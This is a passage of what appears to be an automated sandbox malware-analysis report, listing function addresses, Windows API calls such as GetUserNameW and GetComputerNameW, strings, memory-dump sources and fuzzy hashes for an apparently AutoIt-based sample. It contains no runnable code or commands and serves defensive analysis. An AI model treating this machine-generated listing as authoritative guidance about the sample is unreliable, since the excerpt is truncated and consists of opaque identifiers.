Function 00583923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 005C33A2

Part of subcall function 00586B57: _wcslen.LIBCMT ref: 00586B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00583A04

Strings

Line: , xrefs: 005C33EB

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 803b60475e71501ad76c01b6decc4b1978145819de4e40d8f2c6d4c414dc85ce
Instruction ID: 8a89ced67267352b6d93cd6f88de2d8454d7cfba4a814c55b124bf951edb8f06
Opcode Fuzzy Hash: 803b60475e71501ad76c01b6decc4b1978145819de4e40d8f2c6d4c414dc85ce
Instruction Fuzzy Hash: 2F31E471408305AAC321FB10DC49BEF7BD8BB81B11F10492AF999A3091EF749649C7C2

Function 00582DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 005C2C8C

Part of subcall function 00583AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00583A97,?,?,00582E7F,?,?,?,00000000), ref: 00583AC2

Part of subcall function 00582DA5: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00582DC4

Strings

X, xrefs: 005C2C5A
`ed, xrefs: 005C2C85

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`ed
API String ID: 779396738-4220762877
Opcode ID: 1177d705236db378d0c4dc1374cc6ef663fdea82e8125f37c3ed36726616b388
Instruction ID: 52ad9268172b9074b8a161f28c0de841dfc1500cecd2b5b2e14b4f6ebeec7a27
Opcode Fuzzy Hash: 1177d705236db378d0c4dc1374cc6ef663fdea82e8125f37c3ed36726616b388
Instruction Fuzzy Hash: 30218171A002599FCF01EF94C849BEE7FF9BF89715F00805AE905B7241DBB45A498FA1

Function 0059FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 005A0668

Part of subcall function 005A32A4: RaiseException.KERNEL32(?,?,?,005A068A,?,00651444,?,?,?,?,?,?,005A068A,00581129,00648738,00581129), ref: 005A3304

__CxxThrowException@8.LIBVCRUNTIME ref: 005A0685

Strings

Unknown exception, xrefs: 005A0692

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: f5cd8f2b9b2293b92c59bc5f8ab3bbe98fcbfe18d0f4ac25b4cccfc63f009442
Instruction ID: e08f7cb109eded89d0f95696aad650032b683b6bb7dbf2e21618192b0d7b12f3
Opcode Fuzzy Hash: f5cd8f2b9b2293b92c59bc5f8ab3bbe98fcbfe18d0f4ac25b4cccfc63f009442
Instruction Fuzzy Hash: 79F0C234D0030E778F00BAA4E84AD9E7F6D7E82354B604531B814D65D1EF71EA65CAC0

Function 005DD21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 005DD220

Strings

X64, xrefs: 005DD2A8
%.3d, xrefs: 005DD22B

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 3d05c6721c25b5936604f9e6c64aac99faec4a0d9062bc522a410041f26c2c58
Instruction ID: 0be81f10fd620b03048ae592d905ff65f9f9e80d3573b7d4fc3f88e7650b0a78
Opcode Fuzzy Hash: 3d05c6721c25b5936604f9e6c64aac99faec4a0d9062bc522a410041f26c2c58
Instruction Fuzzy Hash: 66D012A5848109EACFA0DAD4CC498FDBB7CFB18341F508853F806D1140E634C5086771

Function 005810F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00581BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00581BF4
Part of subcall function 00581BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00581BFC
Part of subcall function 00581BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00581C07
Part of subcall function 00581BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00581C12
Part of subcall function 00581BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00581C1A
Part of subcall function 00581BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00581C22

Part of subcall function 00581B4A: RegisterWindowMessageW.USER32(00000004,?,005812C4), ref: 00581BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0058136A
OleInitialize.OLE32 ref: 00581388
CloseHandle.KERNEL32(00000000,00000000), ref: 005C24AB

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: b1b7269e3b26e5408ae954f895eabf9fbbf648a8c2cf1042e67fd467ecf40e74
Instruction ID: 466e18b4a68c7affe4b8fa31b0fb9c186d65e9e3a32f5c7c10de0621e049b05d
Opcode Fuzzy Hash: b1b7269e3b26e5408ae954f895eabf9fbbf648a8c2cf1042e67fd467ecf40e74
Instruction Fuzzy Hash: C871BBF49113018FC784EF79A8497993EE7BB8A356F14A62AD81ADF261FB304845CF44

Function 005EC161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00583923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00583A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 005EC259
KillTimer.USER32(?,00000001,?,?), ref: 005EC261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 005EC270

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 77ebb2ee64364d5b4dbaa4712dbfabbb3040584a72173326fbc201463267b025
Instruction ID: 4a5511a49e279151360f94c7b0f56fae35915d4af5e6e81aa98260025fbcb278
Opcode Fuzzy Hash: 77ebb2ee64364d5b4dbaa4712dbfabbb3040584a72173326fbc201463267b025
Instruction Fuzzy Hash: A431E374904384AFEB26DF748855BEBBFEDAF03304F04049AE2DAA7241C3749A85CB51

Function 005B86AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,?,005B85CC,?,00648CC8,0000000C), ref: 005B8704
GetLastError.KERNEL32(?,005B85CC,?,00648CC8,0000000C), ref: 005B870E
__dosmaperr.LIBCMT ref: 005B8739

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: dc72487e7579a43a8e97b2a798bb4f979757e50fd7a5cd2c54cae9737ff77727
Instruction ID: 6c5a0deaba55fef077b157805b9e6eaa0b26d4f60304861beb08f9681f97a25d
Opcode Fuzzy Hash: dc72487e7579a43a8e97b2a798bb4f979757e50fd7a5cd2c54cae9737ff77727
Instruction Fuzzy Hash: 5601423260576016D764BB34A8497FE6F8D7BD1778F392519F8148B2D2ED61FC81C150

Function 0058DB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 0058DB7B
DispatchMessageW.USER32(?), ref: 0058DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0058DB9F
Sleep.KERNEL32(0000000A), ref: 0058DBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 005D1CC9

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 27826fdab802070e7f4d768663756fa39a356578948d1d0dd7dc571318f155e2
Instruction ID: 34ce81130a2c1beef91fbbcf8e6d8f7cb7699be91a6fe4e5d37ee717f3fd8a18
Opcode Fuzzy Hash: 27826fdab802070e7f4d768663756fa39a356578948d1d0dd7dc571318f155e2
Instruction Fuzzy Hash: 9CF05E306543409BEB30DB60CC49FEA7BFAFB85311F10491AEA0A970D0DB7094488F25

Function 00591310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 005917F6

Strings

CALL, xrefs: 005917C6

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: c9f1775e981a9962f62c5a1af68259b0a370a09ca60ce68b256f0ca411fbd1e1
Instruction ID: c56742394416f03821cd86b74322fc770cb1a098532f6e8400c2796e941fb71c
Opcode Fuzzy Hash: c9f1775e981a9962f62c5a1af68259b0a370a09ca60ce68b256f0ca411fbd1e1
Instruction Fuzzy Hash: C2228B706087129FCB14DF18C484A2ABFF1BF89354F19895EF4968B3A2D731E845CB96

Function 005901E0 Relevance: 3.6, APIs: 2, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f80e702e01cbe542d0691b4b037602ff643ba21afc52bd569783f1bb44623088
Instruction ID: 0eae2fab45d148f59874f52d6175303807281e4297b1d69bd912d8a46e60815e
Opcode Fuzzy Hash: f80e702e01cbe542d0691b4b037602ff643ba21afc52bd569783f1bb44623088
Instruction Fuzzy Hash: F632BF30A00606DFDF20DF58C889AAEBFB5BF55310F14496AE915AB3A1E731ED44CB91

Function 005DD363 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,?), ref: 005DD375

Strings

X64, xrefs: 005DD2A8

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ComputerName
String ID: X64
API String ID: 3545744682-893830106
Opcode ID: e8795a18413b65a8955711f32ed7dbe054c8cc1659be34be151417faaad5992e
Instruction ID: 77a77f55b2a00927e2bbb469caea78a3715df886c59c7c573fc6b54a30e3cf2a
Opcode Fuzzy Hash: e8795a18413b65a8955711f32ed7dbe054c8cc1659be34be151417faaad5992e
Instruction Fuzzy Hash: 26D0C9B9845118EACBA4CB40DC88DDDBB7CBB04341F508953F402E2100D73495489B20

Function 005DD27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 005DD28C

Strings

X64, xrefs: 005DD2A8

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 96e5baeb7c9804a4a818393a3abe370eee1836769a6ff5565ae7043a1cacc34e
Instruction ID: 013f13c8d0ebd0405d5e01b39d37b240851d260bc540603cd9c32d26caa0bde4
Opcode Fuzzy Hash: 96e5baeb7c9804a4a818393a3abe370eee1836769a6ff5565ae7043a1cacc34e
Instruction Fuzzy Hash: 41D0C9B480111DEACF94CB90DC88DDDB77CBB04345F104552F546A2100D73495489F20

Function 00583837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00583908

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 5fc4a69336da646ab6ab2e7f37caa0061e9859e8a7ff1f0d8f45b29b6d6ae121
Instruction ID: b479db9a6ba2c375242703adea12e97d17af274fbc704fe47fc7a8093ff43de4
Opcode Fuzzy Hash: 5fc4a69336da646ab6ab2e7f37caa0061e9859e8a7ff1f0d8f45b29b6d6ae121
Instruction Fuzzy Hash: 1D3191706053019FD720EF64D89579BBFE8FB49B09F00092EF99AA7250E771AA44CF52

Function 0059F645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0059F661

Part of subcall function 0058D730: GetInputState.USER32 ref: 0058D807

Sleep.KERNEL32(00000000), ref: 005DF2DE

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: e5a59d79f96d9a48260fea165d26ace77af8d19846bddef88bbbd55a17d37f76
Instruction ID: a8ebe7cc8aeb9cc9308e3ee2a68fb151faea61e1fbc74501e1b17d2a8f283573
Opcode Fuzzy Hash: e5a59d79f96d9a48260fea165d26ace77af8d19846bddef88bbbd55a17d37f76
Instruction Fuzzy Hash: F0F082712802069FD310FF69D849B5ABFE9FF85760F00402AE859D73A0DB70A800CB90

Function 00584ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00584E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00584EDD,?,00651418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00584E9C
Part of subcall function 00584E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00584EAE
Part of subcall function 00584E90: FreeLibrary.KERNEL32(00000000,?,?,00584EDD,?,00651418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00584EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00651418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00584EFD

Part of subcall function 00584E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,005C3CDE,?,00651418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00584E62
Part of subcall function 00584E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00584E74
Part of subcall function 00584E59: FreeLibrary.KERNEL32(00000000,?,?,005C3CDE,?,00651418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00584E87

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: db7c82177b1d80f09aeb0e5e6bc370770d4927aecb4b9b93a3ae3e464c34a13b
Instruction ID: 5b66b45c06cdecb54785fffa7cfd3e201beabac932645c593d3f8d0b8261bd13
Opcode Fuzzy Hash: db7c82177b1d80f09aeb0e5e6bc370770d4927aecb4b9b93a3ae3e464c34a13b
Instruction Fuzzy Hash: 8511C431640207AACB14BB60D80AFAD7FA5BF80714F10842EFD42B62D1EE709E459B50

Function 005B8402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 005B8440

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: dcf11af2256ab4e96c5d3428c4c39ec5a7691a4b82b7b4156cff62948437954a
Instruction ID: e0bf300b80cb60a18fdc2d51d3fab9015ff687711c8d7964909c970b7fce748f
Opcode Fuzzy Hash: dcf11af2256ab4e96c5d3428c4c39ec5a7691a4b82b7b4156cff62948437954a
Instruction Fuzzy Hash: C811187590420AAFCF05DF58E945AEA7BF9FF48314F144059FC08AB312DA31EA11CBA5

Function 005AE602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: a0444b00ea7ee91f8cd429178e8f7274adcaa71d5f8b245dce02478e19abf03b
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: A4F0D632510A159AD6313A65AC0EB9E3F9CBF93370F100F15F425931D2DB70A8018AB5

Function 005B3820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00651444,?,0059FDF5,?,?,0058A976,00000010,00651440,005813FC,?,005813C6,?,00581129), ref: 005B3852

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 67e3c5da7b547b25e54a4266e791d7579402c932294848696a786bcb4b80f537
Instruction ID: 2bcd6d0c508733aeca064fb3a8c43826629b3ac88f81320907022e484ed0ba86
Opcode Fuzzy Hash: 67e3c5da7b547b25e54a4266e791d7579402c932294848696a786bcb4b80f537
Instruction Fuzzy Hash: 04E0E53114222566D72126AA9C05BDE3E49BF837B0F060031BC04B6590DB50FD0186E3

Function 00584F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

